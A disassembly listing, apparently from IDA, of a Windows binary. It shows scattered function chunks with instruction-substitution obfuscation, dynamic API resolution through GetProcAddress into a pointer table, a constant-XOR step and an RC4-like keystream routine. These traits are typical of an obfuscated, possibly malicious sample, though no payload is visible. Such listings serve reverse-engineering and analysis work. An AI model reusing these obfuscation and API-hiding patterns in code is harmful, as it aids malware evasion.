var_2028	= dword	ptr -2028h
var_2024	= byte ptr -2024h
var_2022	= word ptr -2022h
var_2020	= dword	ptr -2020h
var_201C	= byte ptr -201Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 009AB02C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AB16C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009ABA28 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AC608 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009ACC3C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009ACED0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD1DC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AD3DC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AD9F8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009ADEE0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AE0D3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009AE2AC SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AE83C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AEB8C SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AF0F8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AF430 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AF480 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF76C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF808 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AF870 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AFC90 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B0068 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009B01F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B0D78 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B13E4 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B198C SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B2690 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 009B28CC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B3374 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009B36C8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B3D6C SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009B4ACC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B52A8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B52B8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5D7C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 009B6488 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAC2D
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		push	205Ch
		pop	eax
		sub	esp, 8
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_204C],	edx
		push	[ebp+arg_4]
		pop	esi
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2060],	eax
		mov	[ebp+var_2048],	ecx
		push	[ebp+arg_14]
		pop	eax
		mov	[ebp+var_2044],	eax
		mov	[ebp+var_4], 0
		mov	dword ptr [eax], 0
		mov	eax, [ebp+arg_10]
		push	eax
		push	edi
		push	esi
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	ecx, [ebp+var_203C]
		call	sub_9B43F4
		and	eax, eax
		jz	loc_9AF480
		jmp	loc_9B198C
sub_9B3864	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B38FC:				; CODE XREF: sub_9B0930+4E4Bj
		push	off_9BA698
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+0Ch]
		mov	[ecx+14h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+0Ch]
		mov	ecx, [eax+14h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BAB98
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B3930:				; CODE XREF: sub_9B1D80+169j
		movzx	edx, word ptr [edi+2]
		jmp	loc_9AEA72
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B393C:				; CODE XREF: sub_9AC250+92E0j
					; DATA XREF: .text:off_9BB029o
		cmp	edi, ebx
		jz	loc_9B536C
		jmp	off_9B8908
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B394C:				; CODE XREF: sub_9B03E8+27F7j
		mov	al, [ebp-0ACh]
		mov	byte ptr dword_9BF380+2, al
		mov	cl, [ebp-0A8h]
		mov	byte ptr dword_9BF380+3, cl
		mov	dx, [ebp-0A4h]
		mov	word ptr dword_9BF384, dx
		cmp	dword ptr [ebp-0A0h], 2
		jnz	loc_9B56A0
		jmp	off_9B9775
; END OF FUNCTION CHUNK	FOR sub_9B03E8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3984	proc near		; DATA XREF: .text:off_9B9099o

var_4058	= dword	ptr -4058h
var_4054	= dword	ptr -4054h
var_4050	= dword	ptr -4050h
var_404C	= dword	ptr -404Ch
var_4048	= dword	ptr -4048h
var_4044	= byte ptr -4044h
var_4034	= byte ptr -4034h
var_4024	= byte ptr -4024h
var_4022	= byte ptr -4022h
var_2020	= word ptr -2020h
var_201E	= byte ptr -201Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009AB89C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009ABDA0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009ABE1C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AD8BC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009ADA80 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 009AE544 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009AFB83 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B102C SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAF12
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	4040h
		pop	eax
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4058],	eax
		push	dword ptr [eax+0Ch]
		pop	ebx
		mov	[ebp+var_4], 0
		lea	edi, [ebp+var_4044]
		lea	eax, [ebp+var_4034]
		push	ebx
		pop	esi
		call	sub_9AC128
		sub	esi, esi


loc_9B39EA:				; CODE XREF: sub_9B3984-2957j
		mov	[ebp+var_4048],	esi
		cmp	esi, 7D0h
		jge	loc_9AB89C
		jmp	loc_9AD8BC
sub_9B3984	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B3A04:				; CODE XREF: sub_9B4950-6DA6j
					; DATA XREF: .text:off_9B9CF7o
		cmp	dword_9BEC20[eax], ebx
		jnz	loc_9B3BE0
		jmp	loc_9B20B4
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B3A18:				; CODE XREF: sub_9B0930-385Ej
		push	off_9B90A1
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+38h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		push	dword ptr [eax+38h]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AF818
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B3A50:				; CODE XREF: sub_9B4FD0-5E3Bj
					; DATA XREF: .text:off_9BA40Co
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		cmp	dword_9BBF74[eax], esi
		jz	loc_9AB8C4
		jmp	loc_9B3C54
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B3A68:				; CODE XREF: sub_9AC6DC+378Aj
					; DATA XREF: .text:off_9B9F24o
		jb	loc_9B1568
		jmp	loc_9B24CC
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3A74	proc near		; CODE XREF: sub_9AFF64-2427p
					; sub_9AFF64-23ECp

; FUNCTION CHUNK AT 009AAE78 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 009AC804 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AD33B SIZE 0000003E BYTES
; FUNCTION CHUNK AT 009AED9C SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B03C8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B6244 SIZE 0000001D BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B94F8
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 120h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	edi, edx
		mov	esi, ecx
		push	dword ptr [ebp+8]
		pop	ebx
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	[ebp-12Ch], eax
		xor	eax, eax
		mov	[ebp-124h], eax
		mov	[ebp-128h], eax
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	off_9BADC8
		call	dword ptr [edx+18h]
		mov	dword ptr [ebp-4], 0
		push	esi
		pop	ecx
		call	sub_9B3D1C
		mov	esi, eax
		mov	[ebp-130h], esi
		test	esi, esi
		jz	loc_9B624E
		jmp	off_9BAC90
sub_9B3A74	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4


loc_9B3B08:				; CODE XREF: .text:009B2ACEj
					; DATA XREF: .text:off_9BACBAo
		push	1
		pop	eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9B3B10:				; CODE XREF: sub_9B43F4-6EA3j
		mov	dword ptr [ebp-1Ch], 1
		jmp	loc_9ACEAF
; END OF FUNCTION CHUNK	FOR sub_9B43F4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3B1C	proc near		; CODE XREF: sub_9B1584-276Fp

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AC0C4 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B13C0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B1D3F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B49FC SIZE 00000051 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8E0C
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		mov	dword_9BEBD8, eax
		push	1
		mov	edx, off_9B989B
		push	18h
		pop	ecx
		call	sub_9B4480
		or	eax, eax
		jnz	loc_9B13C0
		jmp	loc_9B49FC
sub_9B3B1C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B3B78:				; CODE XREF: sub_9AF25C+6DD4j
					; DATA XREF: .text:off_9B89D3o
		xor	ebx, ebx
		cmp	[ebp+0Ch], ebx
		jz	loc_9AB9D0
		jmp	off_9B9F66
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B3B8C:				; CODE XREF: sub_9AC6DC+4Dj
					; DATA XREF: .text:off_9B974Fo
		cmp	esi, ebx
		jz	loc_9AC3D0
		jmp	off_9B9E76
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9B3B9C:				; CODE XREF: sub_9AFB1C+1DC6j
		mov	cl, [edi+eax]
		mov	[esi+18h], cl
		inc	eax
		mov	[ebp-1Ch], eax
		mov	dx, [edi+eax]
		mov	[esi+1Ah], dx
		add	eax, 2
		mov	[ebp-1Ch], eax
		lea	ecx, [edi+eax]
		mov	[esi+1Ch], ecx
		movzx	edx, dx
		add	eax, edx
		mov	[ebp-1Ch], eax
		jmp	loc_9B02CB
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B3BC8:				; CODE XREF: sub_9B4950-2890j
		mov	dword_9BEC1C[eax], ebx
		mov	dword_9BEC2C[eax], ebx
		mov	dword_9BEC30[eax], ebx
		mov	dword_9BEC28[eax], ebx


loc_9B3BE0:				; CODE XREF: sub_9B4950-6DACj
					; sub_9B4950-2896j ...
		inc	ecx
		jmp	loc_9B2958
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3BE8	proc near		; CODE XREF: sub_9ABE84+49p
					; sub_9B4FD0-1EE4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009AAF7C SIZE 00000020 BYTES

		push	esi
		push	3
		call	sub_9B4CF4
		add	esp, 8
		push	esi
		pop	eax
		lea	edx, [eax+1]


loc_9B3BF8:				; CODE XREF: sub_9B3BE8+15j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_9B3BF8
		jmp	off_9B9E72
sub_9B3BE8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB3B0


loc_9B3C08:				; CODE XREF: sub_9AB3B0+491j
		push	edx
		pop	ecx
		push	eax
		pop	esi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, ebx
		dec	edi


loc_9B3C1B:				; CODE XREF: sub_9AB3B0+8871j
		mov	al, [edi+1]
		inc	edi
		or	al, al
		jnz	short loc_9B3C1B
		jmp	off_9B997C
; END OF FUNCTION CHUNK	FOR sub_9AB3B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B3C2C:				; CODE XREF: sub_9B1D80-189Ej
		push	dword ptr [ebp-2028h]
		pop	ebx
		mov	[ebp-2060h], ebx
		mov	esi, [ebp+14h]
		call	sub_9B45AC
		sub	edx, edx
		cmp	esi, 6
		jnz	loc_9AC764
		jmp	loc_9AB684
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B3C54:				; CODE XREF: sub_9B4FD0-156Ej
		push	dword ptr [ebp+0Ch]
		pop	edx
		cmp	dword_9BBF78[eax], edx
		jnz	loc_9AB8C4
		jmp	loc_9AFED8
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3C6C	proc near		; CODE XREF: sub_9B2118-1B4Ep
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	edi
		push	off_9BA623
		call	dword ptr [ecx+68h]
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	off_9BADC8
		call	dword ptr [eax+68h]
		push	300h
		pop	ecx
		mov	edi, off_9B87C3
		sub	eax, eax
		rep stosd
		mov	dword_9BBE3C, eax
		mov	dword_9BBD2C, eax
		mov	dword_9BBD30, eax
		pop	edi
		retn
sub_9B3C6C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B14CC


loc_9B3CB0:				; CODE XREF: sub_9B14CC+44j
					; DATA XREF: .text:off_9B8E79o
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+68h]
		call	sub_9AEBB8
		xor	eax, 8E4DA1E7h
		mov	dword_9BBD28, eax
		call	sub_9B5FC0
		mov	dword ptr [ebp-1Ch], 1
		jmp	loc_9B4783
; END OF FUNCTION CHUNK	FOR sub_9B14CC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B3CE4:				; CODE XREF: sub_9B1D80+7Dj
		xor	ecx, ecx
		mov	eax, ebx
		mov	[eax], ecx
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx


loc_9B3CF3:				; CODE XREF: sub_9B1D80+77j
		push	dword ptr [ebp+18h]
		pop	ecx
		push	ecx
		mov	eax, [ebp+14h]
		push	eax
		push	edi
		push	0
		push	dword ptr [ebp+8]
		pop	ecx
		push	ecx
		lea	ecx, [ebp-203Ch]
		call	sub_9B43F4
		and	eax, eax
		jz	loc_9B3ECB
		jmp	loc_9B52D0
; END OF FUNCTION CHUNK	FOR sub_9B1D80

; =============== S U B	R O U T	I N E =======================================



sub_9B3D1C	proc near		; CODE XREF: sub_9B3A74+70p
					; sub_9AF25C+4CF6p

; FUNCTION CHUNK AT 009B1450 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B17E4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B4C94 SIZE 0000001C BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B9095
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	ebx, ecx
		xor	esi, esi
		mov	[ebp-1Ch], esi
		mov	[ebp-4], esi
		push	dword ptr [ebx]
		pop	ecx
		call	sub_9B2160
		mov	[ebp-1Ch], eax
		cmp	eax, esi
		jz	loc_9B1464
		jmp	off_9BA443
sub_9B3D1C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B3D6C:				; CODE XREF: sub_9B3864-3FECj
		push	0
		push	0
		push	0
		push	0
		push	0
		push	ebx


loc_9B3D77:				; CODE XREF: sub_9B3864-596Cj
		push	0


loc_9B3D79:				; CODE XREF: sub_9B3864-6982j
					; sub_9B3864-4CB4j ...
		push	dword ptr [esi+4]
		pop	esi
		push	edi
		call	sub_9AB040
		push	eax
		mov	edx, [ebp+var_2044]
		push	0
		push	[ebp+var_2048]
		pop	eax
		push	edx
		push	eax
		call	sub_9B2F1C
		add	esp, 30h
		jmp	loc_9AE0D3
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B3DA4:				; CODE XREF: sub_9AC32C+9AFAj
		pop	edi
		pop	esi
		pop	ebp
		push	2
		pop	eax
		pop	ebx
		add	esp, 314h
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9B3DB4:				; CODE XREF: sub_9B43F4-3F1Ej
					; DATA XREF: .text:off_9BA080o
		sub	eax, eax
		mov	ax, [esi+8]
		mov	[ebp-24h], eax
		push	eax
		pop	ecx
		and	ecx, 1
		cmp	[ebp+0Ch], ecx
		jnz	loc_9ACEAF
		jmp	off_9B91D0
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9B3DD8:				; CODE XREF: sub_9B4480-2F1Ej
		cmp	[ebp+var_32C], ebx
		jnz	loc_9AE273
		jmp	loc_9AE268
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9B3DF0:				; CODE XREF: sub_9AFF64-23D9j
		cmp	eax, edi
		jnz	loc_9ACBD4
		jmp	off_9BAEA5
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B3E00:				; CODE XREF: sub_9B0930+4Cj
					; DATA XREF: .text:off_9B9429o
		push	off_9B8EA0
		push	eax
		push	GetProcAddress
		pop	esi
		call	esi
		push	eax
		pop	edi
		mov	[ebp-24h], edi
		test	edi, edi
		jz	loc_9B23EF
		jmp	loc_9AE584
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3E24	proc near		; CODE XREF: sub_9AF25C+4D14j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	ecx, [edi]
		sub	ecx, 240h
		push	dword ptr [edi+48h]
		pop	eax
		add	eax, 40h
		push	eax
		push	1
		call	sub_9AFC28
		jmp	loc_9AB9C8
sub_9B3E24	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B3E44:				; CODE XREF: sub_9B0930-3FA1j
					; DATA XREF: .text:off_9BA378o
		push	off_9B9848
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+10h]
		mov	[ecx+30h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		mov	ecx, [eax+30h]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AD0A4
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3E78	proc near		; CODE XREF: sub_9B4CF4-4E22j
					; DATA XREF: .text:off_9BAA4Do

; FUNCTION CHUNK AT 009B0DF4 SIZE 0000000C BYTES

		push	ebx
		pop	eax
		lea	edx, [eax+1]


loc_9B3E7D:				; CODE XREF: sub_9B3E78+Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_9B3E7D
		jmp	loc_9B0DF4
sub_9B3E78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B3E90:				; CODE XREF: sub_9B0930-27B2j
					; DATA XREF: .text:off_9B8C60o
		push	off_9B99B9
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx+4Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+4Ch]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9ADEAC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B3EC4:				; CODE XREF: sub_9B1D80-55E5j
					; sub_9B1D80-32E0j ...
		push	dword ptr [ebp-2040h]
		pop	ebx


loc_9B3ECB:				; CODE XREF: sub_9B1D80-6D9Cj
					; sub_9B1D80-2BACj ...
		mov	edx, [ebp-2048h]
		mov	dword ptr [edx], 0
		test	ebx, ebx
		jz	loc_9B1D5B
		jmp	off_9BACA8
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B3EE8:				; CODE XREF: sub_9B5904-333Cj
		mov	esi, ecx
		mov	[ebp-20h], esi


loc_9B3EED:				; CODE XREF: sub_9B5904-110Ej
		cmp	esi, 0FFFFFFFFh
		jnz	loc_9B42F0
		jmp	off_9BA6DB
; END OF FUNCTION CHUNK	FOR sub_9B5904

; =============== S U B	R O U T	I N E =======================================



sub_9B3EFC	proc near		; CODE XREF: sub_9AB1A0-377p
					; sub_9AB7C0+54p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009AB300 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AD6D0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AD6E0 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 009ADBB0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ADF50 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AE328 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AEA5C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B02E4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B2340 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B374C SIZE 00000006 BYTES

		mov	eax, [esp+arg_0]
		push	eax
		pop	ecx
		mov	edx, 1
		and	ecx, 1Fh
		shl	edx, cl
		push	eax
		pop	ecx
		shr	ecx, 5
		and	ecx, 7
		test	dword_9B9604[ecx*4], edx
		jnz	loc_9AD6E0
		jmp	off_9B974B
sub_9B3EFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3F28	proc near		; CODE XREF: sub_9B037C-366Cp
					; sub_9B04A8-3272p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009AAE40 SIZE 00000034 BYTES

		push	eax
		push	esi
		mov	eax, 10h
		call	sub_9AC32C
		test	al, 3
		jnz	nullsub_9
		jmp	loc_9AAE40
sub_9B3F28	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B3F44:				; CODE XREF: sub_9AC6DC+9ACAj
					; DATA XREF: .text:off_9B9461o
		ja	loc_9B003C
		jmp	loc_9B1E04
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B3F50:				; CODE XREF: sub_9AF25C+4EE2j
		mov	ecx, esi
		call	sub_9B3D1C
		mov	edi, eax
		mov	[ebp-28h], edi


loc_9B3F5C:				; CODE XREF: sub_9AF25C-3DDFj
		mov	ecx, edi
		mov	edx, 0Ch
		call	sub_9AEE5C
		test	al, 2
		jz	loc_9B2618
		jmp	sub_9B3E24
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B3F78:				; CODE XREF: sub_9AF030-759j
					; DATA XREF: .text:off_9BA84Co
		push	1
		push	edi
		call	sub_9AF25C


loc_9B3F80:				; CODE XREF: sub_9AF030-75Fj
		push	[ebp+var_20]
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B3F98:				; CODE XREF: sub_9B174C-3FDj
					; DATA XREF: .text:off_9BA869o
		mov	ecx, [ebp+arg_8]
		lea	edx, [ecx+edi]
		cmp	edx, eax
		ja	loc_9B54E8
		jmp	off_9B987A
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		mov	cl, [eax]
		inc	cl
		mov	[eax], cl
		movzx	ecx, cl
		mov	dl, [eax+ecx+2]
		lea	ecx, [eax+ecx+2]
		push	ebx
		mov	bl, [eax+1]
		add	bl, dl
		mov	[eax+1], bl
		mov	dl, bl
		movzx	edx, dl
		mov	bl, [ecx]
		mov	dl, [eax+edx+2]
		mov	[ecx], dl
		movzx	ecx, byte ptr [eax+1]
		mov	[eax+ecx+2], bl
		movzx	ecx, byte ptr [eax]
		movzx	edx, byte ptr [eax+1]
		mov	bl, [eax+ecx+2]
		mov	dl, [eax+edx+2]
		add	dl, bl
		movzx	ecx, dl
		mov	al, [eax+ecx+2]
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


